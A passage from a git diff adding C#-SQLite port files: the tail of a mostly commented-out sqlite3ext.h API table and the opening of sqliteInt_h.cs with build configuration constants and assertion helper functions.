that want to be imported as extensions into + ** an SQLite instance. Shared libraries that intend to be loaded + ** as extensions by SQLite should #include this file instead of + ** sqlite3.h. + ** + ** @(#) $Id: sqlite3ext.h,v 1.25 2008/10/12 00:27:54 shane Exp $ + ** + ************************************************************************* + ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart + ** C#-SQLite is an independent reimplementation of the SQLite software library + ** + ** $Header$ + ************************************************************************* + */ +#if !_SQLITE3EXT_H_ + //#define _SQLITE3EXT_H_ + //#include "sqlite3.h" + + //typedef struct sqlite3_api_routines sqlite3_api_routines; + + /* + ** The following structure holds pointers to all of the SQLite API + ** routines. + ** + ** WARNING: In order to maintain backwards compatibility, add new + ** interfaces to the end of this structure only. If you insert new + ** interfaces in the middle of this structure, then older different + ** versions of SQLite will not be able to load each others' shared + ** libraries! + */ + //struct sqlite3_api_routines { + // void * (*aggregate_context)(sqlite3_context*,int nBytes); + // int (*aggregate_count)(sqlite3_context*); + // int (*bind_blob)(sqlite3_stmt*,int,const void*,int n,void(*)(void*)); + // int (*bind_double)(sqlite3_stmt*,int,double); + // int (*bind_int)(sqlite3_stmt*,int,int); + // int (*bind_int64)(sqlite3_stmt*,int,sqlite_int64); + // int (*bind_null)(sqlite3_stmt*,int); + // int (*bind_parameter_count)(sqlite3_stmt*); + // int (*bind_parameter_index)(sqlite3_stmt*,const char*zName); + // const char * (*bind_parameter_name)(sqlite3_stmt*,int); + // int (*bind_text)(sqlite3_stmt*,int,const char*,int n,void(*)(void*)); + // int (*bind_text16)(sqlite3_stmt*,int,const void*,int,void(*)(void*)); + // int (*bind_value)(sqlite3_stmt*,int,const sqlite3_value*); + // int (*busy_handler)(sqlite3*,int(*)(void*,int),void*); + // int (*busy_timeout)(sqlite3*,int ms); + // int (*changes)(sqlite3*); + // int (*close)(sqlite3*); + // int (*collation_needed)(sqlite3*,void*,void(*)(void*,sqlite3*,int eTextRep,const char*)); + // int (*collation_needed16)(sqlite3*,void*,void(*)(void*,sqlite3*,int eTextRep,const void*)); + // const void * (*column_blob)(sqlite3_stmt*,int iCol); + // int (*column_bytes)(sqlite3_stmt*,int iCol); + // int (*column_bytes16)(sqlite3_stmt*,int iCol); + // int (*column_count)(sqlite3_stmt*pStmt); + // const char * (*column_database_name)(sqlite3_stmt*,int); + // const void * (*column_database_name16)(sqlite3_stmt*,int); + // const char * (*column_decltype)(sqlite3_stmt*,int i); + // const void * (*column_decltype16)(sqlite3_stmt*,int); + // double (*column_double)(sqlite3_stmt*,int iCol); + // int (*column_int)(sqlite3_stmt*,int iCol); + // sqlite_int64 (*column_int64)(sqlite3_stmt*,int iCol); + // const char * (*column_name)(sqlite3_stmt*,int); + // const void * (*column_name16)(sqlite3_stmt*,int); + // const char * (*column_origin_name)(sqlite3_stmt*,int); + // const void * (*column_origin_name16)(sqlite3_stmt*,int); + // const char * (*column_table_name)(sqlite3_stmt*,int); + // const void * (*column_table_name16)(sqlite3_stmt*,int); + // const unsigned char * (*column_text)(sqlite3_stmt*,int iCol); + // const void * (*column_text16)(sqlite3_stmt*,int iCol); + // int (*column_type)(sqlite3_stmt*,int iCol); + // sqlite3_value* (*column_value)(sqlite3_stmt*,int iCol); + // void * (*commit_hook)(sqlite3*,int(*)(void*),void*); + // int (*complete)(const char*sql); + // int (*complete16)(const void*sql); + // int (*create_collation)(sqlite3*,const char*,int,void*,int(*)(void*,int,const void*,int,const void*)); + // int (*create_collation16)(sqlite3*,const void*,int,void*,int(*)(void*,int,const void*,int,const void*)); + // int (*create_function)(sqlite3*,const char*,int,int,void*,void (*xFunc)(sqlite3_context*,int,sqlite3_value**),void (*xStep)(sqlite3_context*,int,sqlite3_value**),void (*xFinal)(sqlite3_context*)); + // int (*create_function16)(sqlite3*,const void*,int,int,void*,void (*xFunc)(sqlite3_context*,int,sqlite3_value**),void (*xStep)(sqlite3_context*,int,sqlite3_value**),void (*xFinal)(sqlite3_context*)); + // int (*create_module)(sqlite3*,const char*,const sqlite3_module*,void*); + // int (*data_count)(sqlite3_stmt*pStmt); + // sqlite3 * (*db_handle)(sqlite3_stmt*); + // int (*declare_vtab)(sqlite3*,const char*); + // int (*enable_shared_cache)(int); + // int (*errcode)(sqlite3*db); + // const char * (*errmsg)(sqlite3*); + // const void * (*errmsg16)(sqlite3*); + // int (*exec)(sqlite3*,const char*,sqlite3_callback,void*,char**); + // int (*expired)(sqlite3_stmt*); + // int (*finalize)(sqlite3_stmt*pStmt); + // void (*free)(void*); + // void (*free_table)(char**result); + // int (*get_autocommit)(sqlite3*); + // void * (*get_auxdata)(sqlite3_context*,int); + // int (*get_table)(sqlite3*,const char*,char***,int*,int*,char**); + // int (*global_recover)(void); + // void (*interruptx)(sqlite3*); + // sqlite_int64 (*last_insert_rowid)(sqlite3*); + // const char * (*libversion)(void); + // int (*libversion_number)(void); + // void *(*malloc)(int); + // char * (*mprintf)(const char*,...); + // int (*open)(const char*,sqlite3**); + // int (*open16)(const void*,sqlite3**); + // int (*prepare)(sqlite3*,const char*,int,sqlite3_stmt**,const char**); + // int (*prepare16)(sqlite3*,const void*,int,sqlite3_stmt**,const void**); + // void * (*profile)(sqlite3*,void(*)(void*,const char*,sqlite_u3264),void*); + // void (*progress_handler)(sqlite3*,int,int(*)(void*),void*); + // void *(*realloc)(void*,int); + // int (*reset)(sqlite3_stmt*pStmt); + // void (*result_blob)(sqlite3_context*,const void*,int,void(*)(void*)); + // void (*result_double)(sqlite3_context*,double); + // void (*result_error)(sqlite3_context*,const char*,int); + // void (*result_error16)(sqlite3_context*,const void*,int); + // void (*result_int)(sqlite3_context*,int); + // void (*result_int64)(sqlite3_context*,sqlite_int64); + // void (*result_null)(sqlite3_context*); + // void (*result_text)(sqlite3_context*,const char*,int,void(*)(void*)); + // void (*result_text16)(sqlite3_context*,const void*,int,void(*)(void*)); + // void (*result_text16be)(sqlite3_context*,const void*,int,void(*)(void*)); + // void (*result_text16le)(sqlite3_context*,const void*,int,void(*)(void*)); + // void (*result_value)(sqlite3_context*,sqlite3_value*); + // void * (*rollback_hook)(sqlite3*,void(*)(void*),void*); + // int (*set_authorizer)(sqlite3*,int(*)(void*,int,const char*,const char*,const char*,const char*),void*); + // void (*set_auxdata)(sqlite3_context*,int,void*,void (*)(void*)); + // char * (*snprintf)(int,char*,const char*,...); + // int (*step)(sqlite3_stmt*); + // int (*table_column_metadata)(sqlite3*,const char*,const char*,const char*,char const**,char const**,int*,int*,int*); + // void (*thread_cleanup)(void); + // int (*total_changes)(sqlite3*); + // void * (*trace)(sqlite3*,void(*xTrace)(void*,const char*),void*); + // int (*transfer_bindings)(sqlite3_stmt*,sqlite3_stmt*); + // void * (*update_hook)(sqlite3*,void(*)(void*,int ,char const*,char const*,sqlite_int64),void*); + // void * (*user_data)(sqlite3_context*); + // const void * (*value_blob)(sqlite3_value*); + // int (*value_bytes)(sqlite3_value*); + // int (*value_bytes16)(sqlite3_value*); + // double (*value_double)(sqlite3_value*); + // int (*value_int)(sqlite3_value*); + // sqlite_int64 (*value_int64)(sqlite3_value*); + // int (*value_numeric_type)(sqlite3_value*); + // const unsigned char * (*value_text)(sqlite3_value*); + // const void * (*value_text16)(sqlite3_value*); + // const void * (*value_text16be)(sqlite3_value*); + // const void * (*value_text16le)(sqlite3_value*); + // int (*value_type)(sqlite3_value*); + // char *(*vmprintf)(const char*,va_list); + // /* Added ??? */ + // int (*overload_function)(sqlite3*, const char *zFuncName, int nArg); + // /* Added by 3.3.13 */ + // int (*prepare_v2)(sqlite3*,const char*,int,sqlite3_stmt**,const char**); + // int (*prepare16_v2)(sqlite3*,const void*,int,sqlite3_stmt**,const void**); + // int (*clear_bindings)(sqlite3_stmt*); + // /* Added by 3.4.1 */ + // int (*create_module_v2)(sqlite3*,const char*,const sqlite3_module*,void*,void (*xDestroy)(void *)); + // /* Added by 3.5.0 */ + // int (*bind_zeroblob)(sqlite3_stmt*,int,int); + // int (*blob_bytes)(sqlite3_blob*); + // int (*blob_close)(sqlite3_blob*); + // int (*blob_open)(sqlite3*,const char*,const char*,const char*,sqlite3_int64,int,sqlite3_blob**); + // int (*blob_read)(sqlite3_blob*,void*,int,int); + // int (*blob_write)(sqlite3_blob*,const void*,int,int); + // int (*create_collation_v2)(sqlite3*,const char*,int,void*,int(*)(void*,int,const void*,int,const void*),void(*)(void*)); + // int (*file_control)(sqlite3*,const char*,int,void*); + // sqlite3_int64 (*memory_highwater)(int); + // sqlite3_int64 (*memory_used)(void); + // sqlite3_mutex *(*mutex_alloc)(int); + // void (*mutex_enter)(sqlite3_mutex*); + // void (*mutex_free)(sqlite3_mutex*); + // void (*mutex_leave)(sqlite3_mutex*); + // int (*mutex_try)(sqlite3_mutex*); + // int (*open_v2)(const char*,sqlite3**,int,const char*); + // int (*release_memory)(int); + // void (*result_error_nomem)(sqlite3_context*); + // void (*result_error_toobig)(sqlite3_context*); + // int (*sleep)(int); + // void (*soft_heap_limit)(int); + // sqlite3_vfs *(*vfs_find)(const char*); + // int (*vfs_register)(sqlite3_vfs*,int); + // int (*vfs_unregister)(sqlite3_vfs*); + // int (*xthreadsafe)(void); + // void (*result_zeroblob)(sqlite3_context*,int); + // void (*result_error_code)(sqlite3_context*,int); + // int (*test_control)(int, ...); + // void (*randomness)(int,void*); + // sqlite3 *(*context_db_handle)(sqlite3_context*); + //int (*extended_result_codes)(sqlite3*,int); + //int (*limit)(sqlite3*,int,int); + //sqlite3_stmt *(*next_stmt)(sqlite3*,sqlite3_stmt*); + //const char *(*sql)(sqlite3_stmt*); + //int (*status)(int,int*,int*,int); + //}; + public class sqlite3_api_routines + { + public sqlite3 context_db_handle; + }; + + /* + ** The following macros redefine the API routines so that they are + ** redirected throught the global sqlite3_api structure. + ** + ** This header file is also used by the loadext.c source file + ** (part of the main SQLite library - not an extension) so that + ** it can get access to the sqlite3_api_routines structure + ** definition. But the main library does not want to redefine + ** the API. So the redefinition macros are only valid if the + ** SQLITE_CORE macros is undefined. + */ +#if !SQLITE_CORE + //#define sqlite3_aggregate_context sqlite3_api->aggregate_context +#if !SQLITE_OMIT_DEPRECATED + /#define sqlite3_aggregate_count sqlite3_api->aggregate_count +#endif + //#define sqlite3_bind_blob sqlite3_api->bind_blob + //#define sqlite3_bind_double sqlite3_api->bind_double + //#define sqlite3_bind_int sqlite3_api->bind_int + //#define sqlite3_bind_int64 sqlite3_api->bind_int64 + //#define sqlite3_bind_null sqlite3_api->bind_null + //#define sqlite3_bind_parameter_count sqlite3_api->bind_parameter_count + //#define sqlite3_bind_parameter_index sqlite3_api->bind_parameter_index + //#define sqlite3_bind_parameter_name sqlite3_api->bind_parameter_name + //#define sqlite3_bind_text sqlite3_api->bind_text + //#define sqlite3_bind_text16 sqlite3_api->bind_text16 + //#define sqlite3_bind_value sqlite3_api->bind_value + //#define sqlite3_busy_handler sqlite3_api->busy_handler + //#define sqlite3_busy_timeout sqlite3_api->busy_timeout + //#define sqlite3_changes sqlite3_api->changes + //#define sqlite3_close sqlite3_api->close + //#define sqlite3_collation_needed sqlite3_api->collation_needed + //#define sqlite3_collation_needed16 sqlite3_api->collation_needed16 + //#define sqlite3_column_blob sqlite3_api->column_blob + //#define sqlite3_column_bytes sqlite3_api->column_bytes + //#define sqlite3_column_bytes16 sqlite3_api->column_bytes16 + //#define sqlite3_column_count sqlite3_api->column_count + //#define sqlite3_column_database_name sqlite3_api->column_database_name + //#define sqlite3_column_database_name16 sqlite3_api->column_database_name16 + //#define sqlite3_column_decltype sqlite3_api->column_decltype + //#define sqlite3_column_decltype16 sqlite3_api->column_decltype16 + //#define sqlite3_column_double sqlite3_api->column_double + //#define sqlite3_column_int sqlite3_api->column_int + //#define sqlite3_column_int64 sqlite3_api->column_int64 + //#define sqlite3_column_name sqlite3_api->column_name + //#define sqlite3_column_name16 sqlite3_api->column_name16 + //#define sqlite3_column_origin_name sqlite3_api->column_origin_name + //#define sqlite3_column_origin_name16 sqlite3_api->column_origin_name16 + //#define sqlite3_column_table_name sqlite3_api->column_table_name + //#define sqlite3_column_table_name16 sqlite3_api->column_table_name16 + //#define sqlite3_column_text sqlite3_api->column_text + //#define sqlite3_column_text16 sqlite3_api->column_text16 + //#define sqlite3_column_type sqlite3_api->column_type + //#define sqlite3_column_value sqlite3_api->column_value + //#define sqlite3_commit_hook sqlite3_api->commit_hook + //#define sqlite3_complete sqlite3_api->complete + //#define sqlite3_complete16 sqlite3_api->complete16 + //#define sqlite3_create_collation sqlite3_api->create_collation + //#define sqlite3_create_collation16 sqlite3_api->create_collation16 + //#define sqlite3_create_function sqlite3_api->create_function + //#define sqlite3_create_function16 sqlite3_api->create_function16 + //#define sqlite3_create_module sqlite3_api->create_module + //#define sqlite3_create_module_v2 sqlite3_api->create_module_v2 + //#define sqlite3_data_count sqlite3_api->data_count + //#define sqlite3_db_handle sqlite3_api->db_handle + //#define sqlite3_declare_vtab sqlite3_api->declare_vtab + //#define sqlite3_enable_shared_cache sqlite3_api->enable_shared_cache + //#define sqlite3_errcode sqlite3_api->errcode + //#define sqlite3_errmsg sqlite3_api->errmsg + //#define sqlite3_errmsg16 sqlite3_api->errmsg16 + //#define sqlite3_exec sqlite3_api->exec +#if !SQLITE_OMIT_DEPRECATED + /#define sqlite3_expired sqlite3_api->expired +#endif + //#define sqlite3_finalize sqlite3_api->finalize + //#define //sqlite3_free sqlite3_api->free + //#define //sqlite3_free_table sqlite3_api->free_table + //#define sqlite3_get_autocommit sqlite3_api->get_autocommit + //#define sqlite3_get_auxdata sqlite3_api->get_auxdata + //#define sqlite3_get_table sqlite3_api->get_table +#if !SQLITE_OMIT_DEPRECATED + //#define sqlite3_global_recover sqlite3_api->global_recover +#endif + //#define sqlite3_interrupt sqlite3_api->interruptx + //#define sqlite3_last_insert_rowid sqlite3_api->last_insert_rowid + //#define sqlite3_libversion sqlite3_api->libversion + //#define sqlite3_libversion_number sqlite3_api->libversion_number + //#define sqlite3Malloc sqlite3_api->malloc + //#define sqlite3_mprintf sqlite3_api->mprintf + //#define sqlite3_open sqlite3_api.open + //#define sqlite3_open16 sqlite3_api.open16 + //#define sqlite3_prepare sqlite3_api.prepare + //#define sqlite3_prepare16 sqlite3_api.prepare16 + //#define sqlite3_prepare_v2 sqlite3_api.prepare_v2 + //#define sqlite3_prepare16_v2 sqlite3_api.prepare16_v2 + //#define sqlite3_profile sqlite3_api.profile + //#define sqlite3_progress_handler sqlite3_api.progress_handler + //#define sqlite3_realloc sqlite3_api->realloc + //#define sqlite3_reset sqlite3_api->reset + //#define sqlite3_result_blob sqlite3_api->result_blob + //#define sqlite3_result_double sqlite3_api->result_double + //#define sqlite3_result_error sqlite3_api->result_error + //#define sqlite3_result_error16 sqlite3_api->result_error16 + //#define sqlite3_result_int sqlite3_api->result_int + //#define sqlite3_result_int64 sqlite3_api->result_int64 + //#define sqlite3_result_null sqlite3_api->result_null + //#define sqlite3_result_text sqlite3_api->result_text + //#define sqlite3_result_text16 sqlite3_api->result_text16 + //#define sqlite3_result_text16be sqlite3_api->result_text16be + //#define sqlite3_result_text16le sqlite3_api->result_text16le + //#define sqlite3_result_value sqlite3_api->result_value + //#define sqlite3_rollback_hook sqlite3_api->rollback_hook + //#define sqlite3_set_authorizer sqlite3_api->set_authorizer + //#define sqlite3_set_auxdata sqlite3_api->set_auxdata + //#define sqlite3_snprintf sqlite3_api->snprintf + //#define sqlite3_step sqlite3_api->step + //#define sqlite3_table_column_metadata sqlite3_api->table_column_metadata + //#define sqlite3_thread_cleanup sqlite3_api->thread_cleanup + //#define sqlite3_total_changes sqlite3_api->total_changes + //#define sqlite3_trace sqlite3_api->trace +#if !SQLITE_OMIT_DEPRECATED + //#define sqlite3_transfer_bindings sqlite3_api->transfer_bindings +#endif + //#define sqlite3_update_hook sqlite3_api->update_hook + //#define sqlite3_user_data sqlite3_api->user_data + //#define sqlite3_value_blob sqlite3_api->value_blob + //#define sqlite3_value_bytes sqlite3_api->value_bytes + //#define sqlite3_value_bytes16 sqlite3_api->value_bytes16 + //#define sqlite3_value_double sqlite3_api->value_double + //#define sqlite3_value_int sqlite3_api->value_int + //#define sqlite3_value_int64 sqlite3_api->value_int64 + //#define sqlite3_value_numeric_type sqlite3_api->value_numeric_type + //#define sqlite3_value_text sqlite3_api->value_text + //#define sqlite3_value_text16 sqlite3_api->value_text16 + //#define sqlite3_value_text16be sqlite3_api->value_text16be + //#define sqlite3_value_text16le sqlite3_api->value_text16le + //#define sqlite3_value_type sqlite3_api->value_type + //#define sqlite3_vmprintf sqlite3_api->vmprintf + //#define sqlite3_overload_function sqlite3_api->overload_function + //#define sqlite3_prepare_v2 sqlite3_api.prepare_v2 + //#define sqlite3_prepare16_v2 sqlite3_api.prepare16_v2 + //#define sqlite3_clear_bindings sqlite3_api->clear_bindings + //#define sqlite3_bind_zeroblob sqlite3_api->bind_zeroblob + //#define sqlite3_blob_bytes sqlite3_api->blob_bytes + //#define sqlite3_blob_close sqlite3_api->blob_close + //#define sqlite3_blob_open sqlite3_api->blob_open + //#define sqlite3_blob_read sqlite3_api->blob_read + //#define sqlite3_blob_write sqlite3_api->blob_write + //#define sqlite3_create_collation_v2 sqlite3_api->create_collation_v2 + //#define sqlite3_file_control sqlite3_api->file_control + //#define sqlite3_memory_highwater sqlite3_api->memory_highwater + //#define sqlite3_memory_used sqlite3_api->memory_used + //#define sqlite3MutexAlloc sqlite3_api->mutex_alloc + //#define sqlite3_mutex_enter sqlite3_api->mutex_enter + //#define sqlite3_mutex_free sqlite3_api->mutex_free + //#define sqlite3_mutex_leave sqlite3_api->mutex_leave + //#define sqlite3_mutex_try sqlite3_api->mutex_try + //#define sqlite3_open_v2 sqlite3_api.open_v2 + //#define sqlite3_release_memory sqlite3_api->release_memory + //#define sqlite3_result_error_nomem sqlite3_api->result_error_nomem + //#define sqlite3_result_error_toobig sqlite3_api->result_error_toobig + //#define sqlite3_sleep sqlite3_api->sleep + //#define sqlite3_soft_heap_limit sqlite3_api->soft_heap_limit + //#define sqlite3_vfs_find sqlite3_api->vfs_find + //#define sqlite3_vfs_register sqlite3_api->vfs_register + //#define sqlite3_vfs_unregister sqlite3_api->vfs_unregister + //#define sqlite3_threadsafe sqlite3_api->xthreadsafe + //#define sqlite3_result_zeroblob sqlite3_api->result_zeroblob + //#define sqlite3_result_error_code sqlite3_api->result_error_code + //#define sqlite3_test_control sqlite3_api->test_control + //#define sqlite3_randomness sqlite3_api->randomness + //#define sqlite3_context_db_handle sqlite3_api->context_db_handle + //#define sqlite3_extended_result_codes sqlite3_api->extended_result_codes + //#define sqlite3_limit sqlite3_api->limit + //#define sqlite3_next_stmt sqlite3_api->next_stmt + //#define sqlite3_sql sqlite3_api->sql + //#define sqlite3_status sqlite3_api->status +#endif //* SQLITE_CORE */ + + //#define SQLITE_EXTENSION_INIT1 const sqlite3_api_routines *sqlite3_api = 0; + //#define SQLITE_EXTENSION_INIT2(v) sqlite3_api = v; + +#endif //* _SQLITE3EXT_H_ */ + } +} diff --git a/SQLite/src/sqliteInt_h.cs b/SQLite/src/sqliteInt_h.cs new file mode 100644 index 0000000..2f185ac --- /dev/null +++ b/SQLite/src/sqliteInt_h.cs @@ -0,0 +1,3846 @@ +#define SQLITE_MAX_EXPR_DEPTH + +using System; +using System.Diagnostics; +using System.Runtime.InteropServices; +using System.Text; + +using Bitmask = System.UInt64; +using i16 = System.Int16; +using i64 = System.Int64; +using sqlite3_int64 = System.Int64; + +using u8 = System.Byte; +using u16 = System.UInt16; +using u32 = System.UInt32; +using u64 = System.UInt64; +using unsigned = System.UInt64; + +using Pgno = System.UInt32; + +namespace CS_SQLite3 +{ + using sqlite3_value = CSSQLite.Mem; + + public partial class CSSQLite + { + /* + ** 2001 September 15 + ** + ** The author disclaims copyright to this source code. In place of + ** a legal notice, here is a blessing: + ** + ** May you do good and not evil. + ** May you find forgiveness for yourself and forgive others. + ** May you share freely, never taking more than you give. + ** + ************************************************************************* + ** Internal interface definitions for SQLite. + ** + ** @(#) $Id: sqliteInt.h,v 1.898 2009/08/10 03:57:58 shane Exp $ + ** + ************************************************************************* + ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart + ** C#-SQLite is an independent reimplementation of the SQLite software library + ** + ** $Header$ + ************************************************************************* + */ + //#if !_SQLITEINT_H_ + //#define _SQLITEINT_H_ + + /* + ** Include the configuration header output by 'configure' if we're using the + ** autoconf-based build + */ +#if _HAVE_SQLITE_CONFIG_H +//#include "config.h" +#endif + //#include "sqliteLimit.h" + + /* Disable nuisance warnings on Borland compilers */ + //#if defined(__BORLANDC__) + //#pragma warn -rch /* unreachable code */ + //#pragma warn -ccc /* Condition is always true or false */ + //#pragma warn -aus /* Assigned value is never used */ + //#pragma warn -csu /* Comparing signed and unsigned */ + //#pragma warn -spa /* Suspicious pointer arithmetic */ + //#endif + + /* Needed for various definitions... */ + //#if !_GNU_SOURCE + //#define _GNU_SOURCE + //#endif + /* + ** Include standard header files as necessary + */ +#if HAVE_STDINT_H +//#include +#endif +#if HAVE_INTTYPES_H +//#include +#endif + + /* +** This macro is used to "hide" some ugliness in casting an int +** value to a ptr value under the MSVC 64-bit compiler. Casting +** non 64-bit values to ptr types results in a "hard" error with +** the MSVC 64-bit compiler which this attempts to avoid. +** +** A simple compiler pragma or casting sequence could not be found +** to correct this in all situations, so this macro was introduced. +** +** It could be argued that the intptr_t type could be used in this +** case, but that type is not available on all compilers, or +** requires the #include of specific headers which differs between +** platforms. +** +** Ticket #3860: The llvm-gcc-4.2 compiler from Apple chokes on +** the ((void*)&((char*)0)[X]) construct. But MSVC chokes on ((void*)(X)). +** So we have to define the macros in different ways depending on the +** compiler. +*/ + //#if defined(__GNUC__) + //# if defined(HAVE_STDINT_H) + //# define SQLITE_INT_TO_PTR(X) ((void*)(intptr_t)(X)) + //# define SQLITE_PTR_TO_INT(X) ((int)(intptr_t)(X)) + //# else + //# define SQLITE_INT_TO_PTR(X) ((void*)(X)) + //# define SQLITE_PTR_TO_INT(X) ((int)(X)) + //# endif + //#else + //# define SQLITE_INT_TO_PTR(X) ((void*)&((char*)0)[X]) + //# define SQLITE_PTR_TO_INT(X) ((int)(((char*)X)-(char*)0)) + //#endif + + /* + ** These #defines should enable >2GB file support on POSIX if the + ** underlying operating system supports it. If the OS lacks + ** large file support, or if the OS is windows, these should be no-ops. + ** + ** Ticket #2739: The _LARGEFILE_SOURCE macro must appear before any + ** system #includes. Hence, this block of code must be the very first + ** code in all source files. + ** + ** Large file support can be disabled using the -DSQLITE_DISABLE_LFS switch + ** on the compiler command line. This is necessary if you are compiling + ** on a recent machine (ex: RedHat 7.2) but you want your code to work + ** on an older machine (ex: RedHat 6.0). If you compile on RedHat 7.2 + ** without this option, LFS is enable. But LFS does not exist in the kernel + ** in RedHat 6.0, so the code won't work. Hence, for maximum binary + ** portability you should omit LFS. + ** + ** Similar is true for Mac OS X. LFS is only supported on Mac OS X 9 and later. + */ +#if !SQLITE_DISABLE_LFS +const int _LARGE_FILE = 1;//# define _LARGE_FILE 1 +#if !_FILE_OFFSET_BITS +const int _FILE_OFFSET_BITS = 64;//# define _FILE_OFFSET_BITS 64 +# endif +const int _LARGEFILE_SOURCE = 1; //# define _LARGEFILE_SOURCE 1 +#endif + + + + + /* +** The SQLITE_THREADSAFE macro must be defined as either 0 or 1. +** Older versions of SQLite used an optional THREADSAFE macro. +** We support that for legacy +*/ +#if !SQLITE_THREADSAFE +#if THREADSAFE +//# define SQLITE_THREADSAFE THREADSAFE +#else + //# define SQLITE_THREADSAFE 1 + const int SQLITE_THREADSAFE = 1; +#endif +#else +const int SQLITE_THREADSAFE = 1; +#endif + + /* +** The SQLITE_DEFAULT_MEMSTATUS macro must be defined as either 0 or 1. +** It determines whether or not the features related to +** SQLITE_CONFIG_MEMSTATUS are available by default or not. This value can +** be overridden at runtime using the sqlite3_config() API. +*/ +#if !(SQLITE_DEFAULT_MEMSTATUS) + //# define SQLITE_DEFAULT_MEMSTATUS 1 + const int SQLITE_DEFAULT_MEMSTATUS = 1; +#endif + + /* +** Exactly one of the following macros must be defined in order to +** specify which memory allocation subsystem to use. +** +** SQLITE_SYSTEM_MALLOC // Use normal system malloc() +** SQLITE_MEMDEBUG // Debugging version of system malloc() +** SQLITE_MEMORY_SIZE // internal allocator #1 +** SQLITE_MMAP_HEAP_SIZE // internal mmap() allocator +** SQLITE_POW2_MEMORY_SIZE // internal power-of-two allocator +** +** If none of the above are defined, then set SQLITE_SYSTEM_MALLOC as +** the default. +*/ + //#if defined(SQLITE_SYSTEM_MALLOC)+defined(SQLITE_MEMDEBUG)+\ + // defined(SQLITE_MEMORY_SIZE)+defined(SQLITE_MMAP_HEAP_SIZE)+\ + // defined(SQLITE_POW2_MEMORY_SIZE)>1 + //# error "At most one of the following compile-time configuration options\ + // is allows: SQLITE_SYSTEM_MALLOC, SQLITE_MEMDEBUG, SQLITE_MEMORY_SIZE,\ + // SQLITE_MMAP_HEAP_SIZE, SQLITE_POW2_MEMORY_SIZE" + //#endif + //#if defined(SQLITE_SYSTEM_MALLOC)+defined(SQLITE_MEMDEBUG)+\ + // defined(SQLITE_MEMORY_SIZE)+defined(SQLITE_MMAP_HEAP_SIZE)+\ + // defined(SQLITE_POW2_MEMORY_SIZE)==0 + //# define SQLITE_SYSTEM_MALLOC 1 + //#endif + + /* + ** If SQLITE_MALLOC_SOFT_LIMIT is not zero, then try to keep the + ** sizes of memory allocations below this value where possible. + */ +#if !(SQLITE_MALLOC_SOFT_LIMIT) + const int SQLITE_MALLOC_SOFT_LIMIT = 1024; +#endif + + /* +** We need to define _XOPEN_SOURCE as follows in order to enable +** recursive mutexes on most Unix systems. But Mac OS X is different. +** The _XOPEN_SOURCE define causes problems for Mac OS X we are told, +** so it is omitted there. See ticket #2673. +** +** Later we learn that _XOPEN_SOURCE is poorly or incorrectly +** implemented on some systems. So we avoid defining it at all +** if it is already defined or if it is unneeded because we are +** not doing a threadsafe build. Ticket #2681. +** +** See also ticket #2741. +*/ +#if !_XOPEN_SOURCE && !__DARWIN__ && !__APPLE__ && SQLITE_THREADSAFE +const int _XOPEN_SOURCE = 500;//#define _XOPEN_SOURCE 500 /* Needed to enable pthread recursive mutexes */ +#endif + + /* +** The TCL headers are only needed when compiling the TCL bindings. +*/ +#if SQLITE_TCL || TCLSH +//# include +#endif + + /* +** Many people are failing to set -DNDEBUG=1 when compiling SQLite. +** Setting NDEBUG makes the code smaller and run faster. So the following +** lines are added to automatically set NDEBUG unless the -DSQLITE_DEBUG=1 +** option is set. Thus NDEBUG becomes an opt-in rather than an opt-out +** feature. +*/ +#if !NDEBUG && !SQLITE_DEBUG +const int NDEBUG = 1;//# define NDEBUG 1 +#endif + + /* +** The testcase() macro is used to aid in coverage testing. When +** doing coverage testing, the condition inside the argument to +** testcase() must be evaluated both true and false in order to +** get full branch coverage. The testcase() macro is inserted +** to help ensure adequate test coverage in places where simple +** condition/decision coverage is inadequate. For example, testcase() +** can be used to make sure boundary values are tested. For +** bitmask tests, testcase() can be used to make sure each bit +** is significant and used at least once. On switch statements +** where multiple cases go to the same block of code, testcase() +** can insure that all cases are evaluated. +** +*/ +#if SQLITE_COVERAGE_TEST +void sqlite3Coverage(int); +//# define testcase(X) if( X ){ sqlite3Coverage(__LINE__); } +#else + //# define testcase(X) + static void testcase( T X ) { } +#endif + + /* +** The TESTONLY macro is used to enclose variable declarations or +** other bits of code that are needed to support the arguments +** within testcase() and assert() macros. +*/ +#if !NDEBUG || SQLITE_COVERAGE_TEST + //# define TESTONLY(X) X + // -- Need workaround for C#, since inline macros don't exist +#else +//# define TESTONLY(X) +#endif + + /* +** Sometimes we need a small amount of code such as a variable initialization +** to setup for a later assert() statement. We do not want this code to +** appear when assert() is disabled. The following macro is therefore +** used to contain that setup code. The "VVA" acronym stands for +** "Verification, Validation, and Accreditation". In other words, the +** code within VVA_ONLY() will only run during verification processes. +*/ +#if !NDEBUG + //# define VVA_ONLY(X) X +#else +//# define VVA_ONLY(X) +#endif + + /* +** The ALWAYS and NEVER macros surround boolean expressions which +** are intended to always be true or false, respectively. Such +** expressions could be omitted from the code completely. But they +** are included in a few cases in order to enhance the resilience +** of SQLite to unexpected behavior - to make the code "self-healing" +** or "ductile" rather than being "brittle" and crashing at the first +** hint of unplanned behavior. +** +** In other words, ALWAYS and NEVER are added for defensive code. +** +** When doing coverage testing ALWAYS and NEVER are hard-coded to +** be true and false so that the unreachable code then specify will +** not be counted as untested code. +*/ +#if SQLITE_COVERAGE_TEST +//# define ALWAYS(X) (1) +//# define NEVER(X) (0) +#elif !NDEBUG + //# define ALWAYS(X) ((X)?1:(assert(0),0)) + static bool ALWAYS( bool X ) { if ( X != true ) Debug.Assert( false ); return true; } + static int ALWAYS( int X ) { if ( X == 0 ) Debug.Assert( false ); return 1; } + static bool ALWAYS( T X ) { if ( X == null ) Debug.Assert( false ); return true; } + + //# define NEVER(X) ((X)?(assert(0),1):0) + static bool NEVER( bool X ) { if ( X == true ) Debug.Assert( false ); return false; } + static byte NEVER( byte X ) { if ( X != 0 ) Debug.Assert( false ); return 0; } + static int NEVER( int X ) { if ( X != 0 ) Debug.Assert( false ); return 0; } + static bool NEVER( T X ) { if ( X != null ) Debug.Assert( false ); return false; } +#else +//# define ALWAYS(X) (X) + static bool ALWAYS(bool X) { return X; } + static byte ALWAYS(byte X) { return X; } + static int ALWAYS(int X) { return X; } +static bool ALWAYS( T X ) { return true; } + +//# define NEVER(X) (X) +static bool NEVER(bool X) { return X; } +static byte NEVER(byte X) { return X; } +static int NEVER(int X) { return X; } +static bool NEVER(T X) { return false; } +#endif + + /* +** The macro unlikely() is a hint that surrounds a boolean +** expression that is usually false. Macro likely() surrounds +** a boolean expression that is usually true. GCC is able to 